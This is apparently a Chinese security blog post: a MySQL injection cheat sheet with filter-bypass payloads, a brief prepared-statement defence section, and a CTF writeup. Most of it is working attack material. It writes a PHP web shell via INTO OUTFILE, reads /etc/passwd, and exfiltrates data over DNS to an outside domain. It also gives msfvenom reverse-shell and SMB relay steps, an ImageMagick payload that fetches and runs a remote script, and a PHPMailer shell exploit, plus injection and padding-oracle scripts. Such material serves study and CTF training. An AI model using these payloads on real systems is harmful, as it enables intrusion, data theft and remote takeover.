MySQL注入攻击与防御

Author:rootclay

本文主要是做一个Mysql的注入总结,对于Mysql来说利用的方式太过于灵活,这里总结了一些主流的一些姿势,如果有好的姿势可以多加交流,文章如果有错也欢迎各位dalao指出:)

[TOC]

注入常用函数与字符

下面几点是注入中经常会用到的语句

  • 控制语句操作(select, case, if(), …)
  • 比较操作(=, like, mod(), …)
  • 字符串的猜解操作(mid(), left(), rpad(), …)
  • 字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以实现所有字符的表示))

测试注入

可以用以下语句对一个可能的注入点进行测试

string numeric login
' AND 1 ' OR '1
' ' AND 0 ' OR 1 — –
" AND true " OR "" = "
"" AND false " OR 1 = 1 — –
\ 12 '='
\ 12 'LIKE'
'=0–+
SELECT FROM Users WHERE id = '1''';<br>SELECT 1 FROM Users WHERE 1 = '1'''''''''''''UNION SELECT '2'; SELECT FROM Users WHERE id = 3-2; SELECT * FROM Users WHERE username = 'admin' AND password = '' OR '' = '';

注释符

以下是Mysql中可以用到的注释符:

符号 解释
# Hash注释
/* C语言风格注释
SQL语句注释
;%00 空字节
` 反引号(只能在语句尾使用)

Examples:

SELECT * FROM Users WHERE username = &#39;&#39; OR 1=1 -- -&#39; AND password = &#39;&#39;;
SELECT * FROM Users WHERE id = &#39;&#39; UNION SELECT 1, 2, 3`&#39;;

版本&主机名&用户&库名

版本 主机名 用户 库名
VERSION() @@HOSTNAME user() database()
@@VERSION currentuser() SELECT schemaname FROM informationschema.schemata;
@@GLOBAL.VERSION systemuser() SELECT DISTINCT(db) FROM mysql.db;–
/!mysql版本号/(/!50094eaea/)当数字小于版本号时返回TRUE sessionuser()
SELECT * FROM Users WHERE id = ‘1’ AND MID(VERSION(),1,1) = ‘5’; SELECT CONCATWS(0x3A, user, password) FROM mysql.user WHERE user = ‘root’–

表和字段

确定字段数

ORDER BY

ORDER BY用于判断表中的字段个数

column column
1′ ORDER BY 1–+ True
1′ ORDER BY 2–+ True
1′ ORDER BY 3–+ True
1′ ORDER BY 4–+ False – 字段有三个
-1′ UNION SELECT 1,2,3–+ True

SELECT … INTO

关于SELECT … INTO 的解释可以看这一篇文章SELECT … INTO解释

语句 返回
-1 UNION SELECT 1 INTO @,@,@ The used SELECT statements have a different number of columns
-1 UNION SELECT 1 INTO @,@ The used SELECT statements have a different number of columns
-1 UNION SELECT 1 INTO @ 没有报错就说明只有一列

当出现LIMIT时可以用以下语句:

SELECT username FROM Users limit 1,{INJECTION POINT};
语句 释意
1 INTO @,@,@ The used SELECT statements have a different number of columns
1 INTO @,@ 没有报错就说明只有两列

判断已知表名的字段数

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
SELECT passwd FROM Users WHERE id = {INJECTION POINT};
语句 释意
1 AND (SELECT * FROM Users) = 1 Operand should contain 3 column(s)说明只有3列

查表名

以下提过几种方式对库中表进行查询

UNION查询 BLIND盲注 ERROR报错
UNION SELECT GROUPCONCAT(tablename) FROM informationschema.tables AND SELECT SUBSTR(tablename,1,1) FROM informationschema.tables > 'A' 1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,tablename,0x7e) FROM informationschema.tables where tableschema=database() LIMIT 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)

查列名

以下提过几种方式对表中列进行查询

UNION查询 BLIND盲注 ERROR报错 PROCEDURE ANALYSE
UNION SELECT GROUPCONCAT(columnname) FROM informationschema.columns WHERE tablename = 'tablename' 可以不使用单引号,用16进制 AND SELECT SUBSTR(columnname,1,1) FROM informationschema.columns > 'A' 1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,columnname,0x7e) FROM informationschema.columns where tablename=0x61646D696E LIMIT 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) 1 LIMIT 1,1 PROCEDURE ANALYSE() 获取到第二个字段名

字符串连接

下面的几条语句都可以用以连接字符

字符串连接方式
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCATWS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUPCONCAT('a', 'd', 'm', 'i', 'n');

条件语句&时间函数

语句 释意
CASE SLEEP() mysql5以上才引入
IF() BENCHMARK() mysql4/5都有
IFNULL() ' – (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) – '
NULLIF() SELECT IF(1=1, sleep(5), false);
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

其中BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果

文件操作

文件操作权限

在MySQL中,存在一个称为securefilepriv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()

  1. 如果securefilepriv变量为空那么直接可以使用函数,如果为null是不能使用
  2. 但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了

mysql——file

也可使用如下语句查询

语句 是否需需要root 版本支持
SELECT filepriv FROM mysql.user WHERE user = 'username'; 需要root mysql4/5
SELECT grantee, isgrantable FROM informationschema.userprivileges WHERE privilege_type = 'file' AND grantee like '%username%'; 不需要root mysql5

读文件

读文件函数LOAD_FILE()

Examples:

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);

注意点:
1. LOAD_FILE的默认目录@@datadir
2. 文件必须是当前用户可读
3. 读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值

写文件

INTO OUTFILE/DUMPFILE

经典写文件例子:

To write a PHP shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';


这两个函数都可以写文件,但是有很大的差别
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的

网上有很多文章介绍,比如这篇

注意点:
1. INTO OUTFILE不会覆盖文件
2. INTO OUTFILE必须是查询语句的最后一句
3. 路径名是不能编码的,必须使用单引号

带外通道

关于带外通道的注入前段时间国外的大佬已经总结过了,我基本复现了一下,博客有文章,这里简单提一下

什么是带外通道注入?

带外通道攻击主要是利用其他协议或者渠道从服务器提取数据. 它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等.

条件限制

  • 首先不用多说,这些函数是需要绝对路径的
  • 如果securefilepriv变量为空那么直接可以使用函数,如果为null是不能使用
  • 但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了

DNS注入

select load_file(concat('\\\\',version(),'.rootclay.club\\clay.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

上面的语句执行的结果我们可以通过wireshark抓包看一下,过滤一下DNS协议即可清晰看到数据出去的样子,如下图

进行DNS注入需要域名解析,自己有的话最好,但是没有的朋友也没事,这里推荐一个网站CEYE可以查看数据

SMB Relay 注入攻击

What is SMB relay

这里简单的描述一下SMB relay这个过程

假设有主机B与A
(1) A向B发起连接请求
(2) B向A发送挑战(一组随机数据,8字节)
(3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B
(4) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进
行标准DES加密
(5) 如果(4)中计算结果与A送过来的响应匹配,A被允许访问B
现在假设一个攻击者C卷入其中
(1) C向B发起连接请求
(2) B向C发送挑战D(一组随机数据)
(3) C等待A向B发起连接请求
(4) 当A向B发起连接请求时,C伪造成B向A发送挑战D
(5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E,并发往B
(6) C截获到响应E,将它做为针对(2)中挑战D的响应发往B,并声称自己是A
(7) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑战D进行标准DES
加密
(8) 如果(7)中计算结果与C送过来的响应匹配,C被允许以A的身份访问B。

攻击流程

关于SMB relay攻击窃取NTML与shell请看这篇文章SMB Relay Demystified and NTLMv2 Pwnage with Python

整理了一下实际操作的步骤如下:
1. 首先生成一个反向shell:
msfvenom -p windows/meterpreter/reversetcp LHOST=攻击机ip LPORT=攻击机监听端口 -f exe > reverseshell.exe
2. 运行smbrelayx,指定被攻击者和生成的反向shell,等待连接。
smbrelayx.py -h 被攻击者ip -e 反向shell文件位置
3. 使用模块multi/handler。侦听攻击机ip,攻击机监听端口
4. 在MySQL Server上运行如下的代码,则会产生shell。相当于访问攻击机的smb服务,但实际上是窃取了mysqlserver的身份
select load
file('\\攻击机ip\aa');

绕过技巧

绕过单引号

语句 解释
SELECT FROM Users WHERE username = 0x61646D696E HEX编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) CHAR()函数

大小写绕过

?id=1+UnIoN+SeLecT+1,2,3--

替换绕过

?id=1+UNunionION+SEselectLECT+1,2,3--

注释绕过

?id=1+un/**/ion+se/**/lect+1,2,3--

特殊嵌入绕过

?id=1/*!UnIoN*/SeLecT+1,2,3--

宽字节注入

SQL注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。

MySQL版本号字符

Examples:
UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
  • 这样的查询语句是可以执行的,我理解为类似Python中第一行注释指定解析器一样#!/bin/sh
  • 对于小于或等于版本号的语句就会执行
  • 例如目前的Mysql版本为5.7.17那么/!50717/及其以下的语句即可执行

字符编码绕过

前端时间看到ph师傅的博客是讨论mysql字符编码的文章,大概意思如下,原文在这里
当出现有以下代码时,指设置了字符编码为utf-8,但并不是全部为utf-8,而在具体的转换过程中会出现意外的情况,具体可以看ph师傅的文章

$mysqli->query("set names utf8");

在sql查询中

test.php?username=admin%e4中的%e4会被admin忽略掉而绕过了一些逻辑,还有一些类似于$e4这样的字符如%c2等

绕空格

特殊字符绕过空格

字符 解释
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space
Example:</p>

<p>'%0AUNION%0CSELECT%A0NULL%20%23

括号绕过空格

字符 解释
28 (
29 )
Example:</p>

<p>UNION(SELECT(column)FROM(table))

and/or后插入字符绕过空格

任意混合+ - ~ !可以达到绕过空格的效果(可以现在本地测试,混合后需要的奇偶数可能不同)

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`=&#39;localhost&#39; and-++-1=1;需要偶数个--

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`=&#39;localhost&#39; and!!~~~~!1=1;需要奇数个!

其实一下的字符都可以测试

字符 释意
20 Space
2B +
2D
7E ~
21 !
40 @

注释符&引号

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`=&#39;localhost&#39; and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`=&#39;localhost&#39; and&quot;1=1&quot;;

编码绕过

column column
URL Encoding SELECT %74able%6eame FROM informationschema.tables;
Double URL Encoding SELECT %2574able%256eame FROM informationschema.tables;
Unicode Encoding SELECT %u0074able%u6eame FROM informationschema.tables;

关键字绕过

测试用例information_schema.tables

column column
空格 informationschema . tables
反引号 information</em>schema.tables
特殊符 /!informationschema.tables/
别名 informationschema.partitions,statistics,keycolumnusage,table_constraints

认证绕过

绕过语句:'='

select data from users where name="="
select data from users where flase="
select data from users where 0=0

绕过语句:'-'

select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0

比如登录的时候需要输入email和passwd,可以这样输入

email=''&password=''

类型转换

' or 1=true
' or 1
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users

我们还有关于此的漏洞,就以一次CTF的题目来说(源码如下):

&lt;?php
class fiter{
    var $str;
    var $order;

function sql_clean($str){
    if(is_array($str)){
        echo &quot;&lt;script&gt; alert(&#39;not array!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;
    }
    $filter = &quot;/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&amp;|&quot;.urldecode(&#39;%09&#39;).&quot;|&quot;.urldecode(&quot;%0a&quot;).&quot;|&quot;.urldecode(&quot;%0b&quot;).&quot;|&quot;.urldecode(&#39;%0c&#39;).&quot;|&quot;.urldecode(&#39;%0d&#39;).&quot;/i&quot;;
    if(preg_match($filter,$str)){
        echo &quot;&lt;script&gt; alert(&#39;illegal character!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;
    }else if(strrpos($str,urldecode(&quot;%00&quot;))){
        echo &quot;&lt;script&gt; alert(&#39;illegal character!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;
    }
    return $this-&gt;str=$str;
}

function ord_clean($ord){
    $filter = &quot; |bash|perl|nc|java|php|&gt;|&gt;&gt;|wget|ftp|python|sh&quot;;
    if (preg_match(&quot;/&quot;.$filter.&quot;/i&quot;,$ord) == 1){
        return $this-&gt;order = &quot;&quot;;
    }
    return $this-&gt;order = $ord;
}

}

这里过滤了很多关键词了,需要用到类型转换了,这里我们用+号

Payload如下:
uname=aa&#39;+(ascii(mid((passwd)from(1)))&gt;0)+&#39;1
执行的SQL语句如下:
xxxxxx where username = &#39;aa&#39;+(ascii(mid((passwd)from(users)))&gt;0)+&#39;1&#39;
这样就可以开始写脚本跑数据了

除了+号,其他算术操作符号也会发生类型的类型转换,例如MOD,DIV,*,/,%,-,
关于隐式类型转换的文章可以看这里

HTTP参数污染

当我们传入的参数为

http://sqlinjection.com/?par1=val1&amp;par1=val2

进入到不同的Web Server就可能得到不同的结果,这里借鉴一下国外大佬一篇文章的总结,如下:

Web Server Parameter Interpretation Example
ASP.NET/IIS Concatenation by comma par1=val1,val2
ASP/IIS Concatenation by comma par1=val1,val2
PHP/Apache The last param is resulting par1=val2
JSP/Tomcat The first param is resulting par1=val1
Perl/Apache The first param is resulting par1=val1
DBMan Concatenation by two tildes par1=val1~~val2

不同的web server的处理结果截然不同

Query String Apache/2.2.16, PHP/5.3.3 IIS6/ASP
?test[1=2 test_1=2 test[1=2
?test=% test=% test=
?test%00=1 test=1 test=1
?test=1%001 NULL test=1
?test+d=1+2 test_d=1 2 test d=1 2

这里也推荐一篇国外的文章

实战正则过滤绕过

过滤字符 PHP正则代码 原查询语句 现查询语句
and, or preg_match(‘/(and|or)/i’, $id) 1 or 1 = 1,1 and 1 = 1 1 || 1 = 1, 1 && 1 = 1
and, or, union preg_match(‘/(and|or|union)/i’, $id) union select user, password from users 1 || (select user from users where user_id = 1) = ‘admin’
and, or, union, where preg_match(‘/(and|or|union|where)/i’, $id) 1 || (select user from users where user_id = 1) = ‘admin’ 1 || (select user from users limit 1) = ‘admin’
and, or, union, where, limit preg_match(‘/(and|or|union|where|limit)/i’, $id) 1 || (select user from users limit 1) = ‘admin’ 1 || (select user from users group by user_id having user_id = 1) = ‘admin’
and, or, union, where, limit, group by preg_match(‘/(and|or|union|where|limit|group by)/i’, $id) 1 || (select user from users group by user_id having user_id = 1) = ‘admin’ 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
and, or, union, where, limit, group by, select preg_match(‘/(and|or|union|where|limit|group by|select)/i’, $id) 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 1 || 1 = 1 into outfile ‘result.txt’
1 || substr(user,1,1) = ‘a’
and, or, union, where, limit, group by, select, ‘ preg_match(‘/(and|or|union|where|limit|group by|select|\’)/i’, $id) 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 1 || user_id is not null
1 || substr(user,1,1) = 0x61
1 || substr(user,1,1) = unhex(61)
and, or, union, where, limit, group by, select, ‘, hex preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/i’, $id) 1 || substr(user,1,1) = unhex(61) 1 || substr(user,1,1) = lower(conv(11,10,36))
and, or, union, where, limit, group by, select, ‘, hex, substr preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/i’, $id) 1 || substr(user,1,1) = lower(conv(11,10,36)) 1 || lpad(user,7,1)
and, or, union, where, limit, group by, select, ‘, hex, substr, white space preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/i’, $id) 1 || lpad(user,7,1) 1%0b||%0blpad(user,7,1)

防御手段(代码以PHP为例)

像WAF之类防御手段自己无能为力经常打补丁就好,这里主要提一下代码层面的问题
推荐使用下面的方式进行查询:

MYSQLi

$stmt = $db->prepare('update name set name = ? where id = ?');
$stmt->bind_param('si',$name,$id);
$stmt->execute();

ODBC

$stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' );
$success = odbc_execute( $stmt, array($email) );

或者

$dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email));
$sth = $dbh->prepare('SELECT * FROM users WHERE email = :email');
$sth->execute(array(':email' => $email));

PDO

$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
$stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)');
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);</p>

<p>// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

或者

$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
$stmt = $dbh->prepare('UPDATE people SET name = :new<em>name WHERE id = :id');
$stmt->execute( array('new</em>name' => $name, 'id' => $id) );

框架

对于框架的话只要遵循框架的API就好,例如wp的查询

global $wpdb;
$wpdb->query(
    $wpdb->prepare( 'SELECT name FROM people WHERE id = %d OR email = %s',
        $person_id, $person_email
    )
);
或者
global $wpdb;
$wpdb->insert( 'people',
        array(
            'person_id' => '123',
            'person_email' => 'bobby@tables.com'
        ),
    array( '%d', '%s' )
);

参考

这篇文章主要是做一个总结,有的点可能描述的不是很细致,可以自己再深入研究

NJCTF2017-writeup

Web

1. come on

此题是一个盲注,具体参考下面的脚本:

import requests def sqli(): payload = "" string = "abcdefABCDEF0123456789" for i in range(1, 100): flag = 0 j = 0 while not flag: payload = payload + string[j].encode('hex') j = j+1 url = "http://218.2.197.235:23733/?key=%df' || left((select%0bhex(flag)%0bfrom%0bflag),"+str(i)+") =0x"+payload+"%23" r = requests.get(url) if len(r.text) > 1000: flag = 1 print payload else: payload = payload[0:len(payload)-2] if __name__ == '__main__': sqli() 

得到:

3445344134333534343637423335343833303537354634443333354635333330344433333546373335313331363935463534373234393433364233353744 

最后将字符串Hex解码两次得到Flag:

NJCTF{5H0W_M3_S0M3_sQ1i_TrICk5} 

2. login

利用数据库中的字段长度进行截断,注册一个admin(后面全是空格)。

登录就可以找到flag。

3. be logical

注册账号密码进去后发现大概是一个,积分可以转换为金币,然后再历史纪录里面又可以将金币转换为积分。
第一个感觉肯定这个是逻辑漏洞,感觉积分和金币之间转换的时候,可以利用多线程来跑一下。

在积分转换为金币的页面得知Sign.php,后面猜解文件泄漏为.Sign.php.swp,vim -r xx.swp就可以恢复代码。这个签名验证的代码是将$_POST 的转换后,再加一个$code进行md5,所以想尝试把这个$code跑出来,跑了几个小时,6位以下的小写+数字跑完发现还没破解出来…

仔细理一下逻辑,发现其实应该不需要跑$code,因为后面有页面会把加密的sgin显示出来,所以完全可以先这样得到sgin然后去做其他的事情。所以尝试了一下多线程。

利用的代码

import requests import threading import re cookie = { 'PHPSESSID':'g3s0ngjo918f1ejm9tpqan63v2' } s = requests.session() data = { "comment":"1", "money":"500a" } def g(): #while 1: global data,cookie mydata = data.copy() mydata['point'] = '500a' mydata['mypoint'] = '0' mydata['mymoney'] = '0' print mydata r2 = s.post("http://218.2.197.235:23739/process.php",data=mydata,cookies=cookie) sign1 = r2.content.split('value="')[-1][:32] mydata['sign'] = sign1 r3 = s.post("http://218.2.197.235:23739/action.php",data=mydata,cookies=cookie) print r3.content #------ def ree(): #while 1: global data,cookie idd = 0 r = s.get("http://218.2.197.235:23739/history.php",cookies=cookie) m = re.search('<tr><td>(.*?)</td>',r.content) if m is not None: idd = m.group(1) data['id'] = idd data['username'] = "nihao" data['points'] = '500a' url = "http://218.2.197.235:23739/refundprocess.php?comment=%s&id=%s&username=%s&points=%s&money=%s" % (data['comment'],data['id'],data['username'],data['points'],data['money']) r = s.get(url,cookies=cookie) sign = r.content.split('value="')[-1][:32] if 'modified' in sign: print 'error',idd return 0 data['sign'] = sign r1 = s.post("http://218.2.197.235:23739/refund.php",data=data,cookies=cookie) if 'Success' in r1.content: print 'success',idd else: print r1.content g() ree() # re(2467) # list = [] # for i in range(5): # t = threading.Thread(target=r) # t.setDaemon(True) # t.start() # list.append(t) # for i in range(10): # t = threading.Thread(target=ree) # t.setDaemon(True) # t.start() # list.append(t) # for i in list: # i.join() 

跑了挺久感觉也不是很对,转换的时候应该是加了与数据库里面的数据进行判断,所以感觉缺少一个竞争条件。
尝试修改了money等一些参数都为500a的时候发现还是能转,发现应该是对数字做了转化,然后尝试500.0等也不行,最后测试500e1的时候发现钱加到了5000.

购买服务后,发现是图片上传的地方,可以进行图片转化,im的命令执行漏洞

poc.png

push graphic-context viewbox 0 0 640 480 image Over 0,0 0,0 '|wget xxx/down/tmp.py -P /tmp/ | python /tmp/tmp.py' pop graphic-context 

getshell后find一下没发现flag,看进程的时候发现还有人用了ew工具…看一下arp缓存得到172.17.0.19,访问时候一个邮箱系统,这个前面zctf也出了这个,PHPMailer的漏洞

curl -sq 'http://172.17.0.19' -d 'subject=<?php system($_GET[1]);?>&email=a( -X/var/www/html/uploads/lemon1.php -OQueueDirectory=/tmp )@qq.com&message=aaa&submit=Send email' 

4. be admin

.index.php.bak源码泄漏,看源码知道可进行CBC的Padding Oracle和字节翻转攻击。
进行Padding Oracle攻击的脚本:

import requests import base64 url = 'http://218.2.197.235:23737/index.php' N = 16 l = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] token = '' out = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for i in range(1,17): for c in range(0,256): print c l[N-i] = c token = '' for m in l: token = token + chr(m) token = base64.b64encode(token) header = {'Cookie':"PHPSESSID=oot8oracn7o49ibrriscjikal4;ID=yudfxWJ2ptjjo8NLxaLeZQ%3D%3D;token="+token} res = requests.get(url, headers=header) data = res.content print data if 'ERROR' not in data: out[N-i] = c ^ i for y in range(i): l[N-y-1] = out[N-y-1] ^ (i+1) break print out 

可以将defaultId的明文读取出来为OrDinaryU5eR,接下来就是进行字节翻转攻击使得解密为admin就可以拿到flag。进行字节翻转攻击的脚本:

<?php $c = base64_decode("ndncqTzQYbXSIiXc4Gc0OA=="); $s = "OrDinaryU5eR"; $tmp = $c; $tmp[0] = chr(ord($s[0]) ^ ord($tmp[0]) ^ ord('a')); $tmp[1] = chr(ord($s[1]) ^ ord($tmp[1]) ^ ord('d')); $tmp[2] = chr(ord($s[2]) ^ ord($tmp[2]) ^ ord('m')); $tmp[3] = chr(ord($s[3]) ^ ord($tmp[3]) ^ ord('i')); $tmp[4] = chr(ord($s[4]) ^ ord($tmp[4]) ^ ord('n')); $tmp[5] = chr(ord($s[5]) ^ ord($tmp[5]) ^ 11); $tmp[6] = chr(ord($s[6]) ^ ord($tmp[6]) ^ 11); $tmp[7] = chr(ord($s[7]) ^ ord($tmp[7]) ^ 11); $tmp[8] = chr(ord($s[8]) ^ ord($tmp[8]) ^ 11); $tmp[9] = chr(ord($s[9]) ^ ord($tmp[9]) ^ 11); $tmp[10] = chr(ord($s[10]) ^ ord($tmp[10]) ^ 11); $tmp[11] = chr(ord($s[11]) ^ ord($tmp[11]) ^ 11); $tmp[12] = chr(4 ^ ord($tmp[12]) ^ 11); $tmp[13] = chr(4 ^ ord($tmp[13]) ^ 11); $tmp[14] = chr(4 ^ ord($tmp[14]) ^ 11); $tmp[15] = chr(4 ^ ord($tmp[15]) ^ 11); print base64_encode($tmp); ?> 

将得到的IV放到cookie中的token,访问得到flag。

5. wallet

有个一个压缩包www.zip,密码为njctf2017。解压缩后得到admin.php,代码经过了混淆。看代码知道有个PHP弱类型的比较和一个简单的注入。

6. get flag

flag参数是通过cat命令读取文件的,用&进行连接可以执行命令。

7. pictures’s wall

开始发现admin用户不需要密码就可以登陆,进入后台,审查元素发现有一个隐藏的上传表单,修改属性后上传,提示需要root用户
依旧空密码登陆root,还是提示需要root,修改xff头,添加cookie无果,最后通过在上传的时候修改host头为127.0.0.1实现成功登陆,在后台页面出现上传表单,然后通过phtml后缀和<script languange="php"> </script>实现上传,得到shell。

8. text wall

cookie中的lists参数由一个序列化的数组和序列化字符串进行sha1运算的值组成。测试知道会对lists进行反序列化然后将数组中的值输出到页面去。
.index.php.swo有源码泄漏

可以看到类里面有个__toString(),这魔术方法会在对象被当成字符串使用的时候自动触发,并且这个方法里可以根据source变量来读取源码。所以只要在数组的元素里再构造个类对象就好了。

48391356d1a7920b7098c17b49259579975c4ed3a:1:{i:1;O:8:"filelist":1:{s:6:"source";s:46:"/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}} 

flag:

NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng} 

9. blog

这道题目是Ruby写的,不太懂但是还是能够做出来,我们关注到 schema.rb文件的user表:
其中有个admin的字段

我们发现在注册时,这些参数会以user[]进行传递,故我们可以在注册时,增加一个参数user[admin]=1

这样我们注册的用户就成为了管理员,之后在/users页面的源代码中找到了Flag:

NJCTF{G8msIzOC!*XzpYnOdgTx7jbniiwaUeCo} 

10. chall 1

首先这道题在Google搜索到了:

https://www.smrrd.de/nodejs-hacking-challenge-writeup.html 

做法差不多类似该篇文章中所提到的,但需要注意一点我们传过去的password参数会被MD5,因而我们需要得到MD5后为纯数字的字符串:

http://stackoverflow.com/questions/6825714/can-an-md5-hash-have-only-numbers-or-only-letters-in-it 
http://218.2.197.235:23729/admin 

因而,我们只需要不断提交上述的MD5后为数字的密码,便可在返回包中得到leak的信息,其中获得Flag:

NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver} 

11. chall 2

根据第一问Flag的提示,我们在源代码中寻找:

https://www.smrrd.de/data/nodejs_hacking_challenge/nodejs_chall.zip 

文章里面其实也已经写的很清楚了,我们需要修改:app.js 和 config.js 这两个文件
需要修改的具体内容博客上面也写的非常清楚了,具体值改为我们第一问的Flag就行了
然后本地访问,并抓包,获得到session和session.sig:

Cookie: session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo 

然后将本地获取到的cookie对应替换到比赛题目处,请求/admin即可获取到Flag,需要注意这里Flag的编码问题,有中文:

NJCTF{N0d5JS是世界上最好的语言,对吗?} 

12. Geuess(未做出)

时间上差一点点…

发现是一个包含,可以读取到源码

<?php function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } session_start(); $reg = '/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0, 999999999); mt_srand($seed); $ss = mt_rand(); $hash = md5(session_id() . $ss); setcookie('SESSI0N', $hash, time() + 3600); .... if ($check1) { $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) } 

如果sessionid是没有的话,那么session_id()就是空字符串,这样的话,hash就是$ss的md5值,也就是纯数字,放cmd5解密就可以得到明文,也就是随机数,mt_rand生成的随机数是可以破解得到种子,所以可以再通过种子预测到后面的random_str的值,从而得到上传的文件名.

后面一个就是zip包含jpg,getshell.

Reverse

1. echoserver

我们首先发现一个字符串比较,断在strcmp函数后,在栈里找到“F1@gA”。

第二步,陷入一个无限循环。

循环下面有无效call,需要跳过

一个跳转

查看目标地址的指令,都是有效的

在死循环前强行跳转

得到“F8C60EB40BF66919A77C4BD88D45DEF4”

2. on the fly

CSAW的原题吧,直接找了脚本解

from itertools import cycle import subprocess def xor(s1, s2, enc_add): return ''.join(chr(ord(a) ^ ord(b) ^ enc_add) for a,b in zip(cycle(s1), s2)) keys = [str(x)*3 for x in range(1, 500)] # pull the encoded stuff out of the program's output out, _ = subprocess.Popen(['./re300'], stdout=subprocess.PIPE).communicate() hex_enc = out.split('\n')[0].split()[-1] enc = hex_enc.decode('hex') for key in keys: enc_add = len(enc) & 0xFF; enc = xor(key, enc, enc_add) print enc 

得到NJCTF{2c3010644150e03b6630a0b3b7f8607b}

Pwn

1.vsvs

脑洞…数字22是爆破来的,然后就不知道干啥了,瞎脑洞发现可以足够长的buffer之后的字符串会被当成命令执行(name那里)

